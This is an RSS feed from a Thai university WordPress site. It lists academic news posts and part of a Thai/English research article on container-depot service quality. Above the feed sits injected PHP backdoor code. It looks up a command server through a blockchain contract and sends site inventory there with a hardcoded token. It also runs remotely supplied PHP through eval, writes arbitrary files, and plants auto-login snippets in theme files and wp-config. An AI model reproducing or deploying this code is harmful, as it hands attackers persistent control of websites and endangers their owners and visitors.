// 4b_ev if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/modernkrir/domains/modernkrirkuniversity.com/public_html/wp-content/plugins/wp-helper-801515/wp-helper-801515.php', 'ctrl'=>'// 4b_ev', 'vis'=>'// c5_qq', 'vis_func'=>'wp_o0dk0x', 'vis_paths'=>array('/home/modernkrir/domains/modernkrirkuniversity.com/public_html/wp-content/plugins/wp-helper-801515/wp-helper-801515.php'), 'opt'=>'_wp_5zom7fzr', ); $keys=array(); $keys['id']='d59'; $keys['ver']='3i'; $keys['caps']='rw4'; $keys['tasks']='1ys'; $keys['interval']='cr8'; $keys['ack_id']='3tn'; $keys['ok']='e2'; $keys['detail']='92q'; $keys['inv']='d7r'; $keys['result']='b75'; $hdr='X-663-Auth';$tok='rLoKANLNuTVnNCd7DUETpDCE2UpNKMAlnoj82e4pkRw';$id='2de777429748516b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); การจัดการองค์การยุคใหม่ – Modern Krirk University https://modernkrirkuniversity.com มหาวิทยาลัยเกริก พัฒนาหลักสูตร สร้างผู้นำ สู่สังคมแห่งโลกยุคใหม่ Thu, 11 Jun 2026 05:02:49 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://modernkrirkuniversity.com/wp-content/uploads/2024/04/ดีไซน์ที่ยังไม่ได้ตั้งชื่อ-3-150x150.png การจัดการองค์การยุคใหม่ – Modern Krirk University https://modernkrirkuniversity.com 32 32 ศึกษาดูงาน รัฐสภา 1111 ถนนสามเสน แขวงถนนนครไชยศรี เขตดุสิต กรุงเทพมหานคร  https://modernkrirkuniversity.com/2026/06/11/%e0%b8%a8%e0%b8%b6%e0%b8%81%e0%b8%a9%e0%b8%b2%e0%b8%94%e0%b8%b9%e0%b8%87%e0%b8%b2%e0%b8%99-%e0%b8%a3%e0%b8%b1%e0%b8%90%e0%b8%aa%e0%b8%a0%e0%b8%b2-1111-%e0%b8%96%e0%b8%99%e0%b8%99%e0%b8%aa/ Thu, 11 Jun 2026 05:02:49 +0000 https://modernkrirkuniversity.com/?p=31375

ในวันจันทร์ที่ 8 มิถุนายน 2569
ผู้ช่วยศาสตราจารย์ ดร.ธนชาติ ประทุมสวัสดิ์ ผู้อำนวยการหลักสูตรศิลปศาสตรมหาบัณฑิต สาขาวิชาการจัดการองค์การยุคใหม่ และสาขาวิชาการบริหารการค้าและการเมืองอย่างยั่งยืนในโลกยุคใหม่ คณะศิลปศาสตร์มหาวิทยาลัยเกริก ได้เข้าเยี่ยมชมการประชุมสมาชิกวุฒิสภา และอาคารในรัฐสภา โดยมีหัวหน้าคณะนำชมจุดศึกษาดูงาน ศูนย์เรียนรู้องค์กรต้นแบบสำนักงานเลขาธิการวุฒิสภา ,พิพิธภัณฑ์รัฐสภา,เข้าชมสถาปัตยกรรมเครื่องยอดอาคารรัฐสภา,เข้าฟังการประชุมวุฒิสภา,รับฟังการบรรยายพิเศษโดยนางสาววิธาวีร์ ประทุมสวัสดิ์ ณ ห้องประชุมกรรมาธิการ CA 329 จำนวน 39 คน

ในการนี้ได้รับต้อนรับจาก ท่าน สว.สมบูรณ์ หนูนวล ประธานคณะกรรมาธิการการทหารและความมั่นคงของรัฐ สว.ดร.วราวุธ ตรีระนันทร์ รองประธานคณะกรรมาธิการบริหารราชการแผ่นดิน
สว.โชติชัย บัวดิษ สว.ดร.ธีระศักดิ์ อรัญพิทักษ์ และ สว.ดร.วิธาวีร์ ประทุมสวัสดิ์ มาต้อนรับและให้ความรู้กับนักศึกษาในครั้งนี้

]]> ✨เมื่อวันอาทิตย์ที่ 19 เมษายน 2569 https://modernkrirkuniversity.com/2026/04/23/%e2%9c%a8%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b8%a7%e0%b8%b1%e0%b8%99%e0%b8%ad%e0%b8%b2%e0%b8%97%e0%b8%b4%e0%b8%95%e0%b8%a2%e0%b9%8c%e0%b8%97%e0%b8%b5%e0%b9%88-19-%e0%b9%80%e0%b8%a1/ Thu, 23 Apr 2026 06:04:59 +0000 https://modernkrirkuniversity.com/?p=30923 ✨เมื่อวันอาทิตย์ที่ 19 เมษายน 2569 ทางหลักสูตรปรัชญญาดุษฎีบัณฑิต และหลักสูตรศิลปศาสตรมหาบัณฑิต #สาขาวิชาการจัดการองค์การยุคใหม่ #สาขาวิชาการบริหารการค้าและการเมืองอย่างยั่งยืนในโลกยุคใหม่
✨ได้จัดกิจกรรมประเพณีสงกรานต์ นับเป็นนิมิตหมายอันดี ที่นักศึกษาทั้งศิษย์เก่า และศิษย์ปัจจุบัน ได้มาร่วมกันสืบสานประเพณีสงกรานต์ ประกอบพิธีสรงน้ำพระ พิธีรดน้ำดำหัวคณาจารย์ เพื่อความเป็นสิริมงคลแก่นักศึกษา เป็นการเริ่มต้นปีใหม่ไทยด้วยความเลื่อมใสในพระรัตนตรัย
ทางหลักสูตรได้เรียนเชิญ พระครูวิสุทธิวัชรคุณ (ดร.)
(พระอาจารย์แก่น) เจ้าอาวาสวัดศรีกุเรชา มาบรรยาย ” พุทธจิตรวิทยา”

พร้อมรับฟังธรรมเทศนา
โดย พระอาจารย์ธนโชโต
(ผศ.ดร.ธนชาติ ประทุมสวัสดิ์)
นับเป็นเกียรติอย่างยิ่ง #ศูนย์รับสมัครภาคพิเศษ

มหาวิทยาลัยเกริก

รับสมัครเรียน

#ปริญญาเอก #ปริญญาโท

👉 ช่องทางสมัครเรียน👈
Line : @modernkrirk
Call : 087-7847888 / 081-6555419
Website : modernkrirkuniversity.com

]]> วันที่ 28 ตุลาคม 2568 ศึกษาดูงาน ณ บริษัท สยามกลการ จำกัด ในหัวข้อ “การพัฒนาองค์กรแห่งการเรียนรู้และภาวะผู้นำในยุคพลังเปลี่ยนผ่าน” รวมถึงประเด็น “กลยุทธ์พลังงานและการพัฒนาอย่างยั่งยืน (ESG & Innovation)” ซึ่งมุ่งเน้นการสร้างนวัตกรรมและการจัดการความเสี่ยง เพื่อรองรับการเปลี่ยนแปลงของโลกธุรกิจยุคใหม่ https://modernkrirkuniversity.com/2025/10/29/%e0%b8%a7%e0%b8%b1%e0%b8%99%e0%b8%97%e0%b8%b5%e0%b9%88-28-%e0%b8%95%e0%b8%b8%e0%b8%a5%e0%b8%b2%e0%b8%84%e0%b8%a1-2568-%e0%b8%a8%e0%b8%b6%e0%b8%81%e0%b8%a9%e0%b8%b2%e0%b8%94%e0%b8%b9%e0%b8%87%e0%b8%b2/ Wed, 29 Oct 2025 10:35:02 +0000 https://modernkrirkuniversity.com/?p=30046

]]> คุณภาพบริการและความไว้วางใจของลูกค้า: กรณีศึกษาเชิงลึกธุรกิจลานตู้คอนเทนเนอร์ https://modernkrirkuniversity.com/2025/10/06/%e0%b8%84%e0%b8%b8%e0%b8%93%e0%b8%a0%e0%b8%b2%e0%b8%9e%e0%b8%9a%e0%b8%a3%e0%b8%b4%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%a5%e0%b8%b0%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b9%84%e0%b8%a7%e0%b9%89/ Mon, 06 Oct 2025 08:41:34 +0000 https://modernkrirkuniversity.com/?p=30039 Service Quality and Customer Trust: An In-depth Case Study of the Container Depot Business

คุณภาพบริการและความไว้วางใจของลูกค้า: กรณีศึกษาเชิงลึกธุรกิจลานตู้คอนเทนเนอร์

Service Quality and Customer Trust: An In-depth Case Study of the Container Depot Business

ไพฑูรย์ กาญจนสมศักดิ์

PAITOON KANCHNASOMSAK

อาจารย์ที่ปรึกษา ดร.ธนชาติ ประทุมสวัสดิ์

คณะศิลปศาสตร์ มหาวิทยาลัยเกริก

Graduate students of Master of Arts Faculty of Liberal Arts, Krirk University

บทคัดย่อ

การวิจัยนี้มีวัตถุประสงค์เพื่อสำรวจและทำความเข้าใจเชิงลึกถึงประสบการณ์และการรับรู้ของคุณภาพบริการที่ส่งผลต่อการสร้างความไว้วางใจของลูกค้าในธุรกิจลานตู้คอนเทนเนอร์ซึ่งมีการแข่งขันสูงและบริการเป็นปัจจัยสำคัญ ใช้ระเบียบวิธีวิจัยเชิงคุณภาพในรูปแบบกรณีศึกษา โดยสัมภาษณ์เชิงลึกกับผู้ให้ข้อมูลหลักซึ่งเป็นผู้จัดการและเจ้าหน้าที่ระดับปฏิบัติการของบริษัทสายการเดินเรือและตัวแทนผู้รับจัดการขนส่งสินค้าระหว่างประเทศ จำนวน 10 ท่าน ผลการวิจัยพบประเด็นหลักที่สำคัญ 5 ประการที่หล่อหลอมความไว้วางใจของลูกค้า ได้แก่ (1) ความแน่นอนและความน่าเชื่อถือในการปฏิบัติงานคือหัวใจหลัก, (2) พนักงานคือภาพสะท้อนขององค์กรที่สร้างความมั่นใจ, (3) ความสามารถในการแก้ปัญหาเฉพาะหน้าคือบทพิสูจน์ความเป็นมืออาชีพ, (4) การสื่อสารที่โปร่งใสและสม่ำเสมอช่วยลดความกังวล, และ (5) การเอาใจใส่ในรายละเอียดเล็กน้อยสร้างความสัมพันธ์ที่เหนือกว่าคู่ค้า ข้อค้นพบชี้ให้เห็นว่าความไว้วางใจของลูกค้าในธุรกิจนี้ไม่ได้เกิดจากปัจจัยด้านราคาหรือความรวดเร็วเพียงอย่างเดียว แต่เป็นผลลัพธ์จากประสบการณ์สะสมที่สะท้อนถึงความน่าเชื่อถือและความสามารถในการจัดการความไม่แน่นอนของลานตู้คอนเทนเนอร์ ซึ่งมีนัยยะสำคัญต่อการพัฒนากลยุทธ์บริการที่มุ่งเน้นการสร้างความสัมพันธ์ที่ยั่งยืน

คำสำคัญ: คุณภาพการให้บริการ, ความไว้วางใจของลูกค้า, ลานตู้คอนเทนเนอร์,

Abstract

This research aims to explore and gain an in-depth understanding of the experiences and perceptions of service quality that influence the formation of customer trust in the highly competitive container depot business. A qualitative case study approach was employed, utilizing in-depth interviews with 10 key informants, including managers and operational staff from shipping lines and freight forwarding agents. The findings reveal five key themes that shape customer trust: (1) Operational certainty and reliability as the core foundation, (2) Employees as the corporate embodiment of assurance, (3) Proactive problem-solving as a testament to professionalism, (4) Transparent and consistent communication in reducing anxiety, and (5) Attention to minor details fostering a relationship beyond a mere partnership. The findings indicate that customer trust in this industry is not solely derived from price or speed but is an outcome of cumulative experiences reflecting the depot’s reliability and ability to manage uncertainty. This has significant implications for developing service strategies focused on building sustainable customer relationships in the logistics sector.

Keywords: Service Quality, Customer Trust, Container Depot,

บทนำ (Introduction) ธุรกิจลานตู้คอนเทนเนอร์ (Container Depot) หรือที่รู้จักในชื่อ ICD (Inland Container Depot) ถือเป็นโครงสร้างพื้นฐานที่สำคัญและเป็นข้อต่อที่ขาดไม่ได้ในระบบห่วงโซ่อุปทาน (Supply Chain) และการค้าระหว่างประเทศ ในฐานะที่เป็นศูนย์กลางการรวบรวม, จัดเก็บ, ซ่อมบำรุง, และกระจายตู้คอนเทนเนอร์เปล่าและตู้สินค้า ลานตู้คอนเทนเนอร์ทำหน้าที่เป็น “ปอด” ของระบบโลจิสติกส์ที่ช่วยให้การไหลเวียนของสินค้าส่งออกและนำเข้าเป็นไปอย่างราบรื่น (Notteboom et al., 2021) ประสิทธิภาพของธุรกิจนี้จึงส่งผลโดยตรงต่อขีดความสามารถในการแข่งขันทางเศรษฐกิจของประเทศ โดยเฉพาะอย่างยิ่งในบริบทของประเทศไทยที่มุ่งสู่การเป็นศูนย์กลางโลจิสติกส์ของภูมิภาค

ในอดีต การแข่งขันในธุรกิจลานตู้คอนเทนเนอร์มักมุ่งเน้นไปที่ปัจจัยที่จับต้องได้ เช่น ทำเลที่ตั้งที่ใกล้กับท่าเรือหรือนิคมอุตสาหกรรม, ขนาดพื้นที่ที่สามารถรองรับตู้คอนเทนเนอร์ได้จำนวนมาก, และราคาค่าบริการ อย่างไรก็ตาม ในสภาวะการแข่งขันปัจจุบันที่ผู้ให้บริการหลายรายมีศักยภาพด้านโครงสร้างพื้นฐานที่ไม่แตกต่างกันมากนัก ปัจจัยดังกล่าวได้กลายเป็นเพียง “คุณสมบัติพื้นฐาน” (Commodity) ที่ไม่สามารถสร้างความได้เปรียบในการแข่งขันที่ยั่งยืนได้อีกต่อไป (Panayides & Lun, 2009) สมรภูมิการแข่งขันจึงได้เปลี่ยนจากการมุ่งเน้นที่โครงสร้างพื้นฐานมาสู่ปัจจัยที่จับต้องได้ยากแต่สร้างความแตกต่างได้อย่างแท้จริง นั่นคือ คุณภาพบริการ (Service Quality) และ ความไว้วางใจของลูกค้า (Customer Trust) ซึ่งกลายเป็นปัจจัยชี้ขาดความสำเร็จในระยะยาว (Ladhari, 2015)

ความสัมพันธ์ระหว่างคุณภาพบริการและความไว้วางใจได้รับการยืนยันจากงานวิจัยจำนวนมากว่ามีความสัมพันธ์เชิงบวกอย่างมีนัยสำคัญและเป็นหัวใจสำคัญของการตลาดเชิงสัมพันธ์ (Relationship Marketing) (Nguyen & Nguyen, 2020) การส่งมอบบริการที่มีคุณภาพอย่างสม่ำเสมอจะนำไปสู่การสร้างความไว้วางใจ ซึ่งเป็นรากฐานของความภักดีและการสร้างความสัมพันธ์ระยะยาวกับลูกค้า อย่างไรก็ตาม งานวิจัยส่วนใหญ่ที่ผ่านมามักเป็นการวิจัยเชิงปริมาณ (Quantitative Research) ซึ่งแม้จะสามารถแสดงให้เห็นถึงความสัมพันธ์ทางสถิติระหว่างมิติต่างๆ ของคุณภาพบริการกับความไว้วางใจได้ แต่ยังคงทิ้ง ช่องว่างทางความรู้ (Research Gap) ที่สำคัญไว้ นั่นคือ การขาดความเข้าใจ “เชิงลึก” ถึงประสบการณ์, เรื่องเล่า (Narratives), และกระบวนการตีความหมายที่แท้จริงซึ่งเกิดขึ้นในใจของลูกค้า (Foroudi et al., 2021) เรายังไม่ทราบอย่างถ่องแท้ว่า ในธุรกิจบริการระหว่างองค์กร (B2B) ที่มีความซับซ้อนสูงเช่นนี้ “คุณภาพบริการ” ในมิติใดที่ลูกค้าให้ความหมายมากที่สุด และประสบการณ์แบบใดที่หล่อหลอมจนกลายเป็น “ความไว้วางใจ” ที่จับต้องได้

ด้วยเหตุนี้ การวิจัยนี้จึงมีวัตถุประสงค์เพื่อสำรวจและทำความเข้าใจเชิงลึกถึงประสบการณ์และการรับรู้ของคุณภาพบริการที่ส่งผลต่อการสร้างความไว้วางใจของลูกค้าในธุรกิจลานตู้คอนเทนเนอร์ โดยมีคำถามการวิจัยหลักคือ: “ประสบการณ์ด้านคุณภาพบริการในมิติใดบ้างที่มีอิทธิพลต่อการสร้างความไว้วางใจของลูกค้าในธุรกิจลานตู้คอนเทนเนอร์ และกระบวนการดังกล่าวเกิดขึ้นได้อย่างไร?”ประโยชน์ที่คาดว่าจะได้รับจากการวิจัยนี้มีสองประการหลัก ในเชิงทฤษฎี ข้อค้นพบจะช่วยเสริมสร้างความเข้าใจเชิงลึกและให้มิติที่สมบูรณ์ยิ่งขึ้นแก่ทฤษฎีคุณภาพบริการ (SERVQUAL) และทฤษฎีความไว้วางใจ (Commitment-Trust Theory) ในบริบทของอุตสาหกรรมโลจิสติกส์ซึ่งมีลักษณะเฉพาะตัว ในเชิงปฏิบัติ ผลการวิจัยจะให้ข้อมูลเชิงลึกแก่ผู้ประกอบการและผู้จัดการลานตู้คอนเทนเนอร์ เพื่อนำไปใช้ในการออกแบบและพัฒนากลยุทธ์บริการที่สามารถสร้างความไว้วางใจและความสัมพันธ์ที่ยั่งยืนกับลูกค้า ซึ่งเป็นหัวใจสำคัญของการสร้างความได้เปรียบในการแข่งขันในปัจจุบัน

การทบทวนวรรณกรรม (Literature Review) -การศึกษาปรากฏการณ์ของคุณภาพบริการและความไว้วางใจของลูกค้าจำเป็นต้องอาศัยกรอบแนวคิดและทฤษฎีที่เกี่ยวข้อง เพื่อใช้เป็นฐานในการทำความเข้าใจและตีความข้อมูลเชิงลึกที่ได้จากประสบการณ์ของลูกค้า บทนี้จึงมุ่งทบทวนวรรณกรรมที่สำคัญในสองส่วนหลัก ได้แก่ แนวคิดด้านคุณภาพการให้บริการ และแนวคิดด้านความเชื่อมั่นของลูกค้า เพื่อนำไปสู่การสังเคราะห์เป็นกรอบแนวคิดเบื้องต้นของการวิจัย

แนวคิดด้านคุณภาพการให้บริการ (Service Quality) คุณภาพบริการเป็นแนวคิดที่เป็นนามธรรมและวัดผลได้ยากกว่าคุณภาพของสินค้าที่จับต้องได้ (Grönroos, 1984) เพื่อทำความเข้าใจและวัดผลคุณภาพบริการอย่างเป็นระบบ Parasuraman, Zeithaml, and Berry (1988) ได้พัฒนาแบบจำลอง SERVQUAL ขึ้น ซึ่งกลายเป็นเครื่องมือที่ได้รับการยอมรับและอ้างอิงอย่างกว้างขวางที่สุดในการศึกษาคุณภาพบริการ แบบจำลองนี้ระบุว่าลูกค้าประเมินคุณภาพบริการโดยเปรียบเทียบระหว่าง “ความคาดหวัง” (Expectations) ที่มีต่อบริการกับ “การรับรู้” (Perceptions) ถึงบริการที่ได้รับจริง ซึ่งการประเมินดังกล่าวครอบคลุม 5 มิติหลัก ดังนี้:

  1. ความน่าเชื่อถือ (Reliability): ความสามารถในการส่งมอบบริการตามที่สัญญาไว้อย่างถูกต้องแม่นยำและสม่ำเสมอ ถือเป็นมิติที่สำคัญที่สุดในมุมมองของลูกค้า
  2. การให้ความมั่นใจ (Assurance): ความรู้ ความสามารถ และความสุภาพของพนักงานในการสร้างความเชื่อมั่นและความมั่นใจให้กับลูกค้า
  3. การตอบสนอง (Responsiveness): ความเต็มใจและความพร้อมของพนักงานในการช่วยเหลือและให้บริการลูกค้าอย่างรวดเร็วทันท่วงที
  4. การเอาใจใส่ (Empathy): การดูแลและให้ความใส่ใจลูกค้าในฐานะปัจเจกบุคคล เพื่อให้ลูกค้ารู้สึกว่าตนเองเป็นคนพิเศษ
  5. สิ่งที่จับต้องได้ (Tangibles): ภาพลักษณ์ทางกายภาพขององค์กร เช่น สถานที่, อุปกรณ์, เอกสาร, และการแต่งกายของพนักงาน

 แนวคิดด้านความเชื่อมั่นของลูกค้า (Customer Trust)ความเชื่อมั่นหรือความไว้วางใจ (Trust) เป็นหัวใจสำคัญของการตลาดเชิงสัมพันธ์ (Relationship Marketing) ทฤษฎีที่อธิบายบทบาทของความไว้วางใจได้อย่างชัดเจนคือ ทฤษฎีความมุ่งมั่นและความไว้วางใจ (Commitment-Trust Theory) ของ Morgan and Hunt (1994) ซึ่งเสนอว่า ความไว้วางใจและความมุ่งมั่น (Commitment) เป็นตัวแปรกลางที่สำคัญที่นำไปสู่ความร่วมมือและความสัมพันธ์ที่ประสบความสำเร็จในระยะยาว โดย ความไว้วางใจ ถูกนิยามว่าเป็น “ความเชื่อมั่นในความน่าเชื่อถือและความซื่อสัตย์ของคู่ค้า” (Confidence in an exchange partner’s reliability and integrity)เพื่อทำความเข้าใจองค์ประกอบของความไว้วางใจให้ลึกซึ้งยิ่งขึ้น งานวิจัยร่วมสมัยได้ระบุถึงมิติที่สำคัญ 3 ประการที่ลูกค้าใช้ในการประเมินคู่ค้า (Rather, 2021; Eid, 2021) ได้แก่:

  1. ความน่าเชื่อถือ (Credibility): การรับรู้ว่าคู่ค้ามีความรู้ความสามารถและทักษะในการปฏิบัติงานตามที่กล่าวอ้าง
  2. ความซื่อสัตย์ (Integrity): การรับรู้ว่าคู่ค้ามีความจริงใจ, ยึดมั่นในหลักการ, และรักษาสัญญา
  3. ความสามารถ (Competence): การรับรู้ว่าคู่ค้ามีศักยภาพและทรัพยากรในการส่งมอบผลลัพธ์ที่มีคุณภาพได้อย่างสม่ำเสมอ

